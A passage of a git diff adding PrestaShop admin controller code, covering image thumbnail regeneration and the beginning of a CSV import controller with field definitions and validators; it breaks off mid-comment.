$existing_img = $dir.$imageObj->getExistingImgPath().'.jpg'; + if (file_exists($existing_img) && filesize($existing_img)) + { + foreach ($type as $imageType) + if (!file_exists($dir.$imageObj->getExistingImgPath().'-'.stripslashes($imageType['name']).'.jpg')) + if (!ImageManager::resize($existing_img, $dir.$imageObj->getExistingImgPath().'-'.stripslashes($imageType['name']).'.jpg', (int)($imageType['width']), (int)($imageType['height']))) + { + $errors = true; + $this->errors[] = Tools::displayError(sprintf('Original image is corrupt (%s) or bad permission on folder', $existing_img)); + } + } + else + { + $errors = true; + $this->errors[] = Tools::displayError(sprintf('Original image is missing or empty (%s)', $existing_img)); + } + } + } + + return $errors; + } + + /** + * Regenerate no-pictures images + * + * @param $dir + * @param $type + * @param $languages + * @return bool + */ + protected function _regenerateNoPictureImages($dir, $type, $languages) + { + $errors = false; + foreach ($type as $imageType) + { + foreach ($languages as $language) + { + $file = $dir.$language['iso_code'].'.jpg'; + if (!file_exists($file)) + $file = _PS_PROD_IMG_DIR_.Language::getIsoById((int)(Configuration::get('PS_LANG_DEFAULT'))).'.jpg'; + if (!file_exists($dir.$language['iso_code'].'-default-'.stripslashes($imageType['name']).'.jpg')) + if (!ImageManager::resize($file, $dir.$language['iso_code'].'-default-'.stripslashes($imageType['name']).'.jpg', (int)$imageType['width'], (int)$imageType['height'])) + $errors = true; + } + } + return $errors; + } + + /* Hook watermark optimization */ + protected function _regenerateWatermark($dir) + { + $result = Db::getInstance()->executeS(' + SELECT m.`name` FROM `'._DB_PREFIX_.'module` m + LEFT JOIN `'._DB_PREFIX_.'hook_module` hm ON hm.`id_module` = m.`id_module` + LEFT JOIN `'._DB_PREFIX_.'hook` h ON hm.`id_hook` = h.`id_hook` + WHERE h.`name` = \'actionWatermark\' AND m.`active` = 1'); + + if ($result && count($result)) + { + $productsImages = Image::getAllImages(); + foreach ($productsImages as $image) + { + $imageObj = new Image($image['id_image']); + if (file_exists($dir.$imageObj->getExistingImgPath().'.jpg')) + foreach ($result as $module) + { + $moduleInstance = Module::getInstanceByName($module['name']); + if ($moduleInstance && is_callable(array($moduleInstance, 'hookActionWatermark'))) + call_user_func(array($moduleInstance, 'hookActionWatermark'), array('id_image' => $imageObj->id, 'id_product' => $imageObj->id_product)); + + if (time() - $this->start_time > $this->max_execution_time - 4) // stop 4 seconds before the tiemout, just enough time to process the end of the page on a slow server + return 'timeout'; + } + } + } + } + + protected function _regenerateThumbnails($type = 'all', $deleteOldImages = false) + { + $this->start_time = time(); + ini_set('max_execution_time', $this->max_execution_time); // ini_set may be disabled, we need the real value + $this->max_execution_time = (int)ini_get('max_execution_time'); + $languages = Language::getLanguages(false); + + $process = + array( + array('type' => 'categories', 'dir' => _PS_CAT_IMG_DIR_), + array('type' => 'manufacturers', 'dir' => _PS_MANU_IMG_DIR_), + array('type' => 'suppliers', 'dir' => _PS_SUPP_IMG_DIR_), + array('type' => 'scenes', 'dir' => _PS_SCENE_IMG_DIR_), + array('type' => 'products', 'dir' => _PS_PROD_IMG_DIR_), + array('type' => 'stores', 'dir' => _PS_STORE_IMG_DIR_) + ); + + // Launching generation process + foreach ($process as $proc) + { + if ($type != 'all' && $type != $proc['type']) + continue; + + // Getting format generation + $formats = ImageType::getImagesTypes($proc['type']); + if ($type != 'all') + { + $format = strval(Tools::getValue('format_'.$type)); + if ($format != 'all') + foreach ($formats as $k => $form) + if ($form['id_image_type'] != $format) + unset($formats[$k]); + } + + if ($deleteOldImages) + $this->_deleteOldImages($proc['dir'], $formats, ($proc['type'] == 'products' ? true : false)); + if (($return = $this->_regenerateNewImages($proc['dir'], $formats, ($proc['type'] == 'products' ? true : false))) === true) + { + if (!count($this->errors)) + $this->errors[] = sprintf(Tools::displayError('Cannot write %s images. Please check the folder\'s writing permissions %s.'), $proc['type'], $proc['dir']); + } + elseif ($return == 'timeout') + $this->errors[] = Tools::displayError('Only part of the images have been regenerated. The server timed out before finishing.'); + else + { + if ($proc['type'] == 'products') + if ($this->_regenerateWatermark($proc['dir']) == 'timeout') + $this->errors[] = Tools::displayError('Server timed out. The watermark may not have been applied to all images.'); + if (!count($this->errors)) + if ($this->_regenerateNoPictureImages($proc['dir'], $formats, $languages)) + $this->errors[] = sprintf( + Tools::displayError('Cannot write "No picture" image to (%s) images folder. Please check the folder\'s writing permissions.'), + $proc['type'] + ); + } + } + return (count($this->errors) > 0 ? false : true); + } + + /** + * Init display for move images block + */ + public function initMoveImages() + { + $this->context->smarty->assign(array( + 'safe_mode' => ini_get('safe_mode'), + 'link_ppreferences' => 'index.php?tab=AdminPPreferences&token='.Tools::getAdminTokenLite('AdminPPreferences').'#PS_LEGACY_IMAGES_on', + )); +} + + /** + * Move product images to the new filesystem + */ + protected function _moveImagesToNewFileSystem() + { + if (!Image::testFileSystem()) + $this->errors[] = Tools::displayError('Error: Your server configuration is not compatible with the new image system. No images were moved.'); + else + { + ini_set('max_execution_time', $this->max_execution_time); // ini_set may be disabled, we need the real value + $this->max_execution_time = (int)ini_get('max_execution_time'); + $result = Image::moveToNewFileSystem($this->max_execution_time); + if ($result === 'timeout') + $this->errors[] = Tools::displayError('Not all images have been moved. The server timed out before finishing. Click on "Move images" again to resume the moving process.'); + else if ($result === false) + $this->errors[] = Tools::displayError('Error: Some -- or all -- images can not be moved.'); + } + return (count($this->errors) > 0 ? false : true); + } + + public function initContent() + { + if ($this->display != 'edit' && $this->display != 'add') + { + $this->initRegenerate(); + $this->initMoveImages(); + + $this->context->smarty->assign(array( + 'display_regenerate' => true, + 'display_move' => $this->display_move + )); + } + + if ($this->display == 'edit') + $this->warnings[] = $this->l('After modification, do not forget to regenerate thumbnails'); + + parent::initContent(); + } +} diff --git a/controllers/admin/AdminImportController.php b/controllers/admin/AdminImportController.php new file mode 100755 index 0000000..2bf3a7a --- /dev/null +++ b/controllers/admin/AdminImportController.php @@ -0,0 +1,2811 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +@ini_set('max_execution_time', 0); +/** No max line limit since the lines can be more than 4096. Performance impact is not significant. */ +define('MAX_LINE_SIZE', 0); + +/** Used for validatefields diying without user friendly error or not */ +define('UNFRIENDLY_ERROR', false); + +/** this value set the number of columns visible on each page */ +define('MAX_COLUMNS', 6); + +/** correct Mac error on eof */ +@ini_set('auto_detect_line_endings', '1'); + +class AdminImportControllerCore extends AdminController +{ + public static $column_mask; + + public $entities = array(); + + public $available_fields = array(); + + public $required_fields = array('name'); + + public $cache_image_deleted = array(); + + public static $default_values = array(); + + public static $validators = array( + 'active' => array('AdminImportController', 'getBoolean'), + 'tax_rate' => array('AdminImportController', 'getPrice'), + /** Tax excluded */ + 'price_tex' => array('AdminImportController', 'getPrice'), + /** Tax included */ + 'price_tin' => array('AdminImportController', 'getPrice'), + 'reduction_price' => array('AdminImportController', 'getPrice'), + 'reduction_percent' => array('AdminImportController', 'getPrice'), + 'wholesale_price' => array('AdminImportController', 'getPrice'), + 'ecotax' => array('AdminImportController', 'getPrice'), + 'name' => array('AdminImportController', 'createMultiLangField'), + 'description' => array('AdminImportController', 'createMultiLangField'), + 'description_short' => array('AdminImportController', 'createMultiLangField'), + 'meta_title' => array('AdminImportController', 'createMultiLangField'), + 'meta_keywords' => array('AdminImportController', 'createMultiLangField'), + 'meta_description' => array('AdminImportController', 'createMultiLangField'), + 'link_rewrite' => array('AdminImportController', 'createMultiLangField'), + 'available_now' => array('AdminImportController', 'createMultiLangField'), + 'available_later' => array('AdminImportController', 'createMultiLangField'), + 'category' => array('AdminImportController', 'split'), + 'online_only' => array('AdminImportController', 'getBoolean') + ); + + public $separator; + public $multiple_value_separator; + + public function __construct() + { + $this->entities = array( + $this->l('Categories'), + $this->l('Products'), + $this->l('Combinations'), + $this->l('Customers'), + $this->l('Addresses'), + $this->l('Manufacturers'), + $this->l('Suppliers'), + ); + + // @since 1.5.0 + if (Configuration::get('PS_ADVANCED_STOCK_MANAGEMENT')) + { + $this->entities = array_merge( + $this->entities, + array( + $this->l('Supply Orders'), + $this->l('Supply Order Details'), + ) + ); + } + + $this->entities = array_flip($this->entities); + + switch ((int)Tools::getValue('entity')) + { + case $this->entities[$this->l('Combinations')]: + $this->required_fields = array( + 'id_product', + 'group', + 'attribute' + ); + + $this->available_fields = array( + 'no' => array('label' => $this->l('Ignore this column')), + 'id_product' => array('label' => $this->l('Product ID').'*'), + 'group' => array( + 'label' => $this->l('Attribute (Name:Type:Position)').'*' + ), + 'attribute' => array( + 'label' => $this->l('Value (Value:Position)').'*' + ), + 'supplier_reference' => array('label' => $this->l('Supplier reference')), + 'reference' => array('label' => $this->l('Reference')), + 'ean13' => array('label' => $this->l('EAN13')), + 'upc' => array('label' => $this->l('UPC')), + 'wholesale_price' => array('label' => $this->l('Wholesale price')), + 'price' => array('label' => $this->l('Impact on price')), + 'ecotax' => array('label' => $this->l('Ecotax')), + 'quantity' => array('label' => $this->l('Quantity')), + 'minimal_quantity' => array('label' => $this->l('Minimal quantity')), + 'weight' => array('label' => $this->l('Impact on weight')), + 'default_on' => array('label' => $this->l('Default (0 = No, 1 = Yes)')), + 'image_position' => array( + 'label' => $this->l('Image position') + ), + 'image_url' => array('label' => $this->l('Image URL')), + 'delete_existing_images' => array( + 'label' => $this->l('Delete existing images (0 = No, 1 = Yes)') + ), + 'shop' => array( + 'label' => $this->l('ID / Name of shop'), + 'help' => $this->l('Ignore this field if you don\'t use the Multistore tool. If you leave this field empty, the default shop will be used.'), + ) + ); + + self::$default_values = array( + 'reference' => '', + 'supplier_reference' => '', + 'ean13' => '', + 'upc' => '', + 'wholesale_price' => 0, + 'price' => 0, + 'ecotax' => 0, + 'quantity' => 0, + 'minimal_quantity' => 1, + 'weight' => 0, + 'default_on' => 0, + ); + break; + + case $this->entities[$this->l('Categories')]: + $this->available_fields = array( + 'no' => array('label' => $this->l('Ignore this column')), + 'id' => array('label' => $this->l('ID')), + 'active' => array('label' => $this->l('Active (0/1)')), + 'name' => array('label' => $this->l('Name *')), + 'parent' => array('label' => $this->l('Parent category')), + 'is_root_category' => array( + 'label' => $this->l('Root category (0/1)'), + 'help' => $this->l('A category root is where a category tree can begin. This is used with multistore.') + ), + 'description' => array('label' => $this->l('Description')), + 'meta_title' => array('label' => $this->l('Meta title')), + 'meta_keywords' => array('label' => $this->l('Meta keywords')), + 'meta_description' => array('label' => $this->l('Meta description')), + 'link_rewrite' => array('label' => $this->l('URL rewritten')), + 'image' => array('label' => $this->l('Image URL')), + 'shop' => array( + 'label' => $this->l('ID / Name of shop'), + 'help' => $this->l('Ignore this field if you don\'t use the Multistore tool. If you leave this field empty, the default shop will be used.'), + ), + ); + + self::$default_values = array( + 'active' => '1', + 'parent' => Configuration::get('PS_HOME_CATEGORY'), + 'link_rewrite' => '' + ); + break; + + case $this->entities[$this->l('Products')]: + self::$validators['image'] = array( + 'AdminImportController', + 'split' + ); + + $this->available_fields = array( + 'no' => array('label' => $this->l('Ignore this column')), + 'id' => array('label' => $this->l('ID')), + 'active' => array('label' => $this->l('Active (0/1)')), + 'name' => array('label' => $this->l('Name *')), + 'category' => array('label' => $this->l('Categories (x,y,z...)')), + 'price_tex' => array('label' => $this->l('Price tax excluded')), + 'price_tin' => array('label' => $this->l('Price tax included')), + 'id_tax_rules_group' => array('label' => $this->l('Tax rules ID')), + 'wholesale_price' => array('label' => $this->l('Wholesale price')), + 'on_sale' => array('label' => $this->l('On sale (0/1)')), + 'reduction_price' => array('label' => $this->l('Discount amount')), + 'reduction_percent' => array('label' => $this->l('Discount percent')), + 'reduction_from' => array('label' => $this->l('Discount from (yyyy-mm-dd)')), + 'reduction_to' => array('label' => $this->l('Discount to (yyyy-mm-dd)')), + 'reference' => array('label' => $this->l('Reference #')), + 'supplier_reference' => array('label' => $this->l('Supplier reference #')), + 'supplier' => array('label' => $this->l('Supplier')), + 'manufacturer' => array('label' => $this->l('Manufacturer')), + 'ean13' => array('label' => $this->l('EAN13')), + 'upc' => array('label' => $this->l('UPC')), + 'ecotax' => array('label' => $this->l('Ecotax')), + 'weight' => array('label' => $this->l('Weight')), + 'quantity' => array('label' => $this->l('Quantity')), + 'description_short' => array('label' => $this->l('Short description')), + 'description' => array('label' => $this->l('Description')), + 'tags' => array('label' => $this->l('Tags (x,y,z...)')), + 'meta_title' => array('label' => $this->l('Meta title')), + 'meta_keywords' => array('label' => $this->l('Meta keywords')), + 'meta_description' => array('label' => $this->l('Meta description')), + 'link_rewrite' => array('label' => $this->l('URL rewritten')), + 'available_now' => array('label' => $this->l('Text when in stock')), + 'available_later' => array('label' => $this->l('Text when backorder allowed')), + 'available_for_order' => array('label' => $this->l('Available for order (0 = No, 1 = Yes)')), + 'date_add' => array('label' => $this->l('Product creation date')), + 'show_price' => array('label' => $this->l('Show price (0 = No, 1 = Yes)')), + 'image' => array('label' => $this->l('Image URLs (x,y,z...)')), + 'delete_existing_images' => array( + 'label' => $this->l('Delete existing images (0 = No, 1 = Yes)') + ), + 'features' => array('label' => $this->l('Feature(Name:Value:Position)')), + 'online_only' => array('label' => $this->l('Available online only (0 = No, 1 = Yes)')), + 'condition' => array('label' => $this->l('Condition')), + 'shop' => array( + 'label' => $this->l('ID / Name of shop'), + 'help' => $this->l('Ignore this field if you don\'t use the Multistore tool. If you leave this field empty, the default shop will be used.'), + ) + ); + + self::$default_values = array( + 'id_category' => array((int)Configuration::get('PS_HOME_CATEGORY')), + 'id_category_default' => (int)Configuration::get('PS_HOME_CATEGORY'), + 'active' => '1', + 'quantity' => 0, + 'price' => 0, + 'id_tax_rules_group' => 0, + 'description_short' => array((int)Configuration::get('PS_LANG_DEFAULT') => ''), + 'link_rewrite' => array((int)Configuration::get('PS_LANG_DEFAULT') => ''), + 'online_only' => 0, + 'condition' => 'new', + 'date_add' => date('Y-m-d H:i:s'), + 'condition' => 'new', + ); + break; + + case $this->entities[$this->l('Customers')]: + //Overwrite required_fields AS only email is required whereas other entities + $this->required_fields = array('email', 'passwd', 'lastname', 'firstname'); + + $this->available_fields = array( + 'no' => array('label' => $this->l('Ignore this column')), + 'id' => array('label' => $this->l('ID')), + 'active' => array('label' => $this->l('Active (0/1)')), + 'id_gender' => array('label' => $this->l('Titles ID (Mr = 1, Ms = 2, else 0)')), + 'email' => array('label' => $this->l('Email *')), + 'passwd' => array('label' => $this->l('Password *')), + 'birthday' => array('label' => $this->l('Birthday (yyyy-mm-dd)')), + 'lastname' => array('label' => $this->l('Last Name *')), + 'firstname' => array('label' => $this->l('First Name *')), + 'newsletter' => array('label' => $this->l('Newsletter (0/1)')), + 'optin' => array('label' => $this->l('Opt-in (0/1)')), + 'id_shop' => array( + 'label' => $this->l('ID / Name of shop'), + 'help' => $this->l('Ignore this field if you don\'t use the Multistore tool. If you leave this field empty, the default shop will be used.'), + ), + ); + + self::$default_values = array( + 'active' => '1', + 'id_shop' => Configuration::get('PS_SHOP_DEFAULT'), + ); + break; + + case $this->entities[$this->l('Addresses')]: + //Overwrite required_fields + $this->required_fields = array( + 'lastname', + 'firstname', + 'address1', + 'postcode', + 'country', + 'customer_email', + 'city' + ); + + $this->available_fields = array( + 'no' => array('label' => $this->l('Ignore this column')), + 'id' => array('label' => $this->l('ID')), + 'alias' => array('label' => $this->l('Alias *')), + 'active' => array('label' => $this->l('Active (0/1)')), + 'customer_email' => array('label' => $this->l('Customer email')), + 'id_customer' => array('label' => $this->l('Customer ID:')), + 'manufacturer' => array('label' => $this->l('Manufacturer')), + 'supplier' => array('label' => $this->l('Supplier')), + 'company' => array('label' => $this->l('Company')), + 'lastname' => array('label' => $this->l('Last Name *')), + 'firstname' => array('label' => $this->l('First Name *')), + 'address1' => array('label' => $this->l('Address 1 *')), + 'address2' => array('label' => $this->l('Address 2')), + 'postcode' => array('label' => $this->l('Postal code / Zipcode*')), + 'city' => array('label' => $this->l('City *')), + 'country' => array('label' => $this->l('Country *')), + 'state' => array('label' => $this->l('State')), + 'other' => array('label' => $this->l('Other')), + 'phone' => array('label' => $this->l('Phone')), + 'phone_mobile' => array('label' => $this->l('Mobile Phone')), + 'vat_number' => array('label' => $this->l('VAT number')), + ); + + self::$default_values = array( + 'alias' => 'Alias', + 'postcode' => 'X' + ); + break; + + case $this->entities[$this->l('Manufacturers')]: + case $this->entities[$this->l('Suppliers')]: + //Overwrite validators AS name is not MultiLangField + self::$validators = array( + 'description' => array('AdminImportController', 'createMultiLangField'), + 'short_description' => array('AdminImportController', 'createMultiLangField'), + 'meta_title' => array('AdminImportController', 'createMultiLangField'), + 'meta_keywords' => array('AdminImportController', 'createMultiLangField'), + 'meta_description' => array('AdminImportController', 'createMultiLangField'), + ); + + $this->available_fields = array( + 'no' => array('label' => $this->l('Ignore this column')), + 'id' => array('label' => $this->l('ID')), + 'active' => array('label' => $this->l('Active (0/1)')), + 'name' => array('label' => $this->l('Name *')), + 'description' => array('label' => $this->l('Description')), + 'short_description' => array('label' => $this->l('Short description')), + 'meta_title' => array('label' => $this->l('Meta title')), + 'meta_keywords' => array('label' => $this->l('Meta keywords')), + 'meta_description' => array('label' => $this->l('Meta description')), + 'shop' => array( + 'label' => $this->l('ID / Name of group shop'), + 'help' => $this->l('Ignore this field if you don\'t use the Multistore tool. If you leave this field empty, the default shop will be used.'), + ), + ); + + self::$default_values = array( + 'shop' => Shop::getGroupFromShop(Configuration::get('PS_SHOP_DEFAULT')), + ); + break; + // @since 1.5.0 + case $this->entities[$this->l('Supply Orders')]: + if (Configuration::get('PS_ADVANCED_STOCK_MANAGEMENT')) + { + // required fields + $this->required_fields = array( + 'id_supplier', + 'id_warehouse', + 'reference', + 'date_delivery_expected', + ); + // available fields + $this->available_fields = array( + 'no' => array('label' => $this->l('Ignore this column')), + 'id' => array('label' => $this->l('ID')), + 'id_supplier' => array('label' => $this->l('Supplier ID *')), + 'id_lang' => array('label' => $this->l('Lang ID')), + 'id_warehouse' => array('label' => $this->l('Warehouse ID *')), + 'id_currency' => array('label' => $this->l('Currency ID *')), + 'reference' => array('label' => $this->l('Supply Order Reference *')), + 'date_delivery_expected' => array('label' => $this->l('Delivery Date (Y-M-D)*')), + 'discount_rate' => array('label' => $this->l('Discount Rate')), + 'is_template' => array('label' => $this->l('Template')), + ); + // default values + self::$default_values = array( + 'id_lang' => (int)Configuration::get('PS_LANG_DEFAULT'), + 'id_currency' => Currency::getDefaultCurrency()->id, + 'discount_rate' => '0', + 'is_template' => '0', + ); + } + break; + // @since 1.5.0 + case $this->entities[$this->l('Supply Order Details')]: + if (Configuration::get('PS_ADVANCED_STOCK_MANAGEMENT')) + { + // required fields + $this->required_fields = array( + 'supply_order_reference', + 'id_product', + 'unit_price_te', + 'quantity_expected', + ); + // available fields + $this->available_fields = array( + 'no' => array('label' => $this->l('Ignore this column')), + 'supply_order_reference' => array('label' => $this->l('Supply Order Reference *')), + 'id_product' => array('label' => $this->l('Product ID *')), + 'id_product_attribute' => array('label' => $this->l('Product Attribute ID')), + 'unit_price_te' => array('label' => $this->l('Unit Price (tax excl.)*')), + 'quantity_expected' => array('label' => $this->l('Quantity Expected *')), + 'discount_rate' => array('label' => $this->l('Discount Rate')), + 'tax_rate' => array('label' => $this->l('Tax Rate')), + ); + // default values + self::$default_values = array( + 'discount_rate' => '0', + 'tax_rate' => '0', + ); + } + } + + $this->separator = strval(trim(Tools::getValue('separator', ';'))); + + if (is_null(Tools::getValue('multiple_value_separator')) || trim(Tools::getValue('multiple_value_separator')) == '') + $this->multiple_value_separator = ','; + else + $this->multiple_value_separator = Tools::getValue('multiple_value_separator'); + + parent::__construct(); + } + + public function renderForm() + { + if (!is_writable(_PS_ADMIN_DIR_.'/import/')) + $this->displayWarning($this->l('Directory import on admin directory must be writable (CHMOD 755 / 777)')); + + if (isset($this->warnings) && count($this->warnings)) + { + $warnings = array(); + foreach ($this->warnings as $warning) + $warnings[] = $warning; + } + + $files_to_import = scandir(_PS_ADMIN_DIR_.'/import/'); + uasort($files_to_import, array('AdminImportController', 'usortFiles')); + foreach ($files_to_import as $k => &$filename) + //exclude . .. .svn and index.php and all hidden files + if (preg_match('/^\..*|index\.php/i', $filename)) + unset($files_to_import[$k]); + unset($filename); + + $this->fields_form = array(''); + + $this->toolbar_scroll = false; + $this->toolbar_btn = array(); + + // adds fancybox + $this->addCSS(_PS_CSS_DIR_.'jquery.fancybox-1.3.4.css', 'screen'); + $this->addJqueryPlugin(array('fancybox')); + + $this->tpl_form_vars = array( + 'module_confirmation' => (Tools::getValue('import')) && (isset($this->warnings) && !count($this->warnings)), + 'path_import' => _PS_ADMIN_DIR_.'/import/', + 'entities' => $this->entities, + 'entity' => Tools::getValue('entity'), + 'files_to_import' => $files_to_import, + 'languages' => Language::getLanguages(false), + 'id_language' => $this->context->language->id, + 'available_fields' => $this->getAvailableFields(), + 'truncateAuthorized' => (Shop::isFeatureActive() && $this->context->employee->isSuperAdmin()) || !Shop::isFeatureActive(), + 'PS_ADVANCED_STOCK_MANAGEMENT' => Configuration::get('PS_ADVANCED_STOCK_MANAGEMENT'), + ); + + return parent::renderForm(); + } + + public function renderView() + { + $this->addJS(_PS_JS_DIR_.'adminImport.js'); + + $handle = $this->openCsvFile(); + $nb_column = $this->getNbrColumn($handle, $this->separator); + $nb_table = ceil($nb_column / MAX_COLUMNS); + + $res = array(); + foreach ($this->required_fields as $elem) + $res[] = '\''.$elem.'\''; + + $data = array(); + for ($i = 0; $i < $nb_table; $i++) + $data[$i] = $this->generateContentTable($i, $nb_column, $handle, $this->separator); + + $this->tpl_view_vars = array( + 'import_matchs' => Db::getInstance()->executeS('SELECT * FROM '._DB_PREFIX_.'import_match'), + 'fields_value' => array( + 'csv' => Tools::getValue('csv'), + 'convert' => Tools::getValue('convert'), + 'entity' => (int)Tools::getValue('entity'), + 'iso_lang' => Tools::getValue('iso_lang'), + 'truncate' => Tools::getValue('truncate'), + 'forceIDs' => Tools::getValue('forceIDs'), + 'match_ref' => Tools::getValue('match_ref'), + 'separator' => $this->separator, + 'multiple_value_separator' => $this->multiple_value_separator + ), + 'nb_table' => $nb_table, + 'nb_column' => $nb_column, + 'res' => implode(',', $res), + 'max_columns' => MAX_COLUMNS, + 'no_pre_select' => array('price_tin', 'feature'), + 'available_fields' => $this->available_fields, + 'data' => $data + ); + + return parent::renderView(); + } + + public function initToolbar() + { + switch ($this->display) + { + case 'import': + // Default cancel button - like old back link + $back = Tools::safeOutput(Tools::getValue('back', '')); + if (empty($back)) + $back = self::$currentIndex.'&token='.$this->token; + + $this->toolbar_btn['cancel'] = array( + 'href' => $back, + 'desc' => $this->l('Cancel') + ); + // Default save button - action dynamically handled in javascript + $this->toolbar_btn['save-import'] = array( + 'href' => '#', + 'desc' => $this->l('Import .CSV data') + ); + break; + } + } + + protected function generateContentTable($current_table, $nb_column, $handle, $glue) + { + $html = '<table id="table'.$current_table.'" style="display: none;" class="table" cellspacing="0" cellpadding="0"> + <tr>'; + + // Header + for ($i = 0; $i < $nb_column; $i++) + if (MAX_COLUMNS * (int)$current_table <= $i && (int)$i < MAX_COLUMNS * ((int)$current_table + 1)) + $html .= '<th style="width: '.(900 / MAX_COLUMNS).'px; vertical-align: top; padding: 4px"> + <select onchange="askFeatureName(this, '.$i.');" + style="width: '.(900 / MAX_COLUMNS).'px;" + id="type_value['.$i.']" + name="type_value['.$i.']" + class="type_value"> + '.$this->getTypeValuesOptions($i).' + </select> + <div id="features_'.$i.'" style="display: none;"> + <input style="width: 90px" type="text" name="" id="feature_name_'.$i.'"> + <input type="button" value="ok" onclick="replaceFeature($(\'#feature_name_'.$i.'\').attr(\'name\'), '.$i.');"> + </div> + </th>'; + $html .= '</tr>'; + + AdminImportController::setLocale(); + for ($current_line = 0; $current_line < 10 && $line = fgetcsv($handle, MAX_LINE_SIZE, $glue); $current_line++) + { + /* UTF-8 conversion */ + if (Tools::getValue('convert')) + $line = $this->utf8EncodeArray($line); + $html .= '<tr id="table_'.$current_table.'_line_'.$current_line.'" style="padding: 4px">'; + foreach ($line as $nb_c => $column) + if ((MAX_COLUMNS * (int)$current_table <= $nb_c) && ((int)$nb_c < MAX_COLUMNS * ((int)$current_table + 1))) + $html .= '<td>'.htmlentities(substr($column, 0, 200), ENT_QUOTES, 'UTF-8').'</td>'; + $html .= '</tr>'; + } + $html .= '</table>'; + AdminImportController::rewindBomAware($handle); + return $html; + } + + public function init() + { + parent::init(); + if (Tools::isSubmit('submitImportFile')) + $this->display = 'import'; + } + + public function initContent() + { + // toolbar (save, cancel, new, ..) + $this->initToolbar(); + if ($this->display == 'import') + if (Tools::getValue('csv')) + $this->content .= $this->renderView(); + else + { + $this->errors[] = $this->l('You must upload a file in order to proceed to the next step'); + $this->content .= $this->renderForm(); + } + else + $this->content .= $this->renderForm(); + + $this->context->smarty->assign(array( + 'content' => $this->content, + 'url_post' => self::$currentIndex.'&token='.$this->token, + )); + } + + protected static function rewindBomAware($handle) + { + // A rewind wrapper that skip BOM signature wrongly + rewind($handle); + if (($bom = fread($handle, 3)) != "\xEF\xBB\xBF") + rewind($handle); + } + + protected static function getBoolean($field) + { + return (boolean)$field; + } + + protected static function getPrice($field) + { + $field = ((float)str_replace(',', '.', $field)); + $field = ((float)str_replace('%', '', $field)); + return $field; + } + + protected static function split($field) + { + if (empty($field)) + return array(); + + $separator = Tools::getValue('multiple_value_separator'); + if (is_null($separator) || trim($separator) == '') + $separator = ','; + + do $uniqid_path = _PS_UPLOAD_DIR_.uniqid(); while (file_exists($uniqid_path)); + file_put_contents($uniqid_path, $field); + $tab = ''; + if (!empty($uniqid_path)) + { + $fd = fopen($uniqid_path, 'r'); + $tab = fgetcsv($fd, MAX_LINE_SIZE, $separator); + fclose($fd); + unlink($uniqid_path); + } + + if (empty($tab) || (!is_array($tab))) + return array(); + return $tab; + } + + protected static function createMultiLangField($field) + { + $languages = Language::getLanguages(false); + $res = array(); + foreach ($languages as $lang) + $res[$lang['id_lang']] = $field; + return $res; + } + + protected function getTypeValuesOptions($nb_c) + { + $i = 0; + $no_pre_select = array('price_tin', 'feature'); + + $options = ''; + foreach ($this->available_fields as $k => $field) + { + $options .= '<option value="'.$k.'"'; + if ($k === 'price_tin') + ++$nb_c; + if ($i === ($nb_c + 1) && (!in_array($k, $no_pre_select))) + $options .= ' selected="selected"'; + $options .= '>'.$field['label'].'</option>'; + ++$i; + } + return $options; + } + + /* + * Return fields to be display AS piece of advise + * + * @param $in_array boolean + * @return string or return array + */ + public function getAvailableFields($in_array = false) + { + $i = 0; + $fields = array(); + $keys = array_keys($this->available_fields); + array_shift($keys); + foreach ($this->available_fields as $k => $field) + { + if ($k === 'no') + continue; + if ($k === 'price_tin') + $fields[$i - 1] = '<div>'.$this->available_fields[$keys[$i - 1]]['label'].' '.$this->l('or').' '.$field['label'].'<span style="margin-left:16px"></span></div>'; + else + { + if (isset($field['help'])) + $html = ' <a href="#" class="info_import" title="'.$this->l('Info').'|'.$field['help'].'"><img src="'._PS_ADMIN_IMG_.'information.png"></a>'; + else + $html = '<span style="margin-left:16px"></span>'; + $fields[] = '<div>'.$field['label'].$html.'</div>'; + } + ++$i; + } + if ($in_array) + return $fields; + else + return implode("\n\r", $fields); + } + + protected function receiveTab() + { + $type_value = Tools::getValue('type_value') ? Tools::getValue('type_value') : array(); + foreach ($type_value as $nb => $type) + if ($type != 'no') + self::$column_mask[$type] = $nb; + } + + public static function getMaskedRow($row) + { + $res = array(); + if (is_array(self::$column_mask)) + foreach (self::$column_mask as $type => $nb) + $res[$type] = isset($row[$nb]) ? $row[$nb] : null; + + if (Tools::getValue('forceIds')) // if you choose to force table before import the column id is remove from the CSV file. + unset($res['id']); + + return $res; + } + + protected static function setDefaultValues(&$info) + { + foreach (self::$default_values as $k => $v) + if (!isset($info[$k]) || $info[$k] == '') + $info[$k] = $v; + } + + protected static function setEntityDefaultValues(&$entity) + { + $members = get_object_vars($entity); + foreach (self::$default_values as $k => $v) + if ((array_key_exists($k, $members) && $entity->$k === null) || !array_key_exists($k, $members)) + $entity->$k = $v; + } + + protected static function fillInfo($infos, $key, &$entity) + { + $infos = trim($infos); + if (isset(self::$validators[$key][1]) && self::$validators[$key][1] == 'createMultiLangField' && Tools::getValue('iso_lang')) + { + $id_lang = Language::getIdByIso(Tools::getValue('iso_lang')); + $tmp = call_user_func(self::$validators[$key], $infos); + foreach ($tmp as $id_lang_tmp => $value) + if (empty($entity->{$key}[$id_lang_tmp]) || $id_lang_tmp == $id_lang) + $entity->{$key}[$id_lang_tmp] = $value; + } + else + if (!empty($infos) || $infos == '0') // ($infos == '0') => if you want to disable a product by using "0" in active because empty('0') return true + $entity->{$key} = isset(self::$validators[$key]) ? call_user_func(self::$validators[$key], $infos) : $infos; + + return true; + } + + public static function arrayWalk(&$array, $funcname, &$user_data = false) + { + if (!is_callable($funcname)) return false; + + foreach ($array as $k => $row) + if (!call_user_func_array($funcname, array($row, $k, $user_data))) + return false; + return true; + } + + /** + * copyImg copy an image located in $url and save it in a path + * according to $entity->$id_entity . + * $id_image is used if we need to add a watermark + * + * @param int $id_entity id of product or category (set in entity) + * @param int $id_image (default null) id of 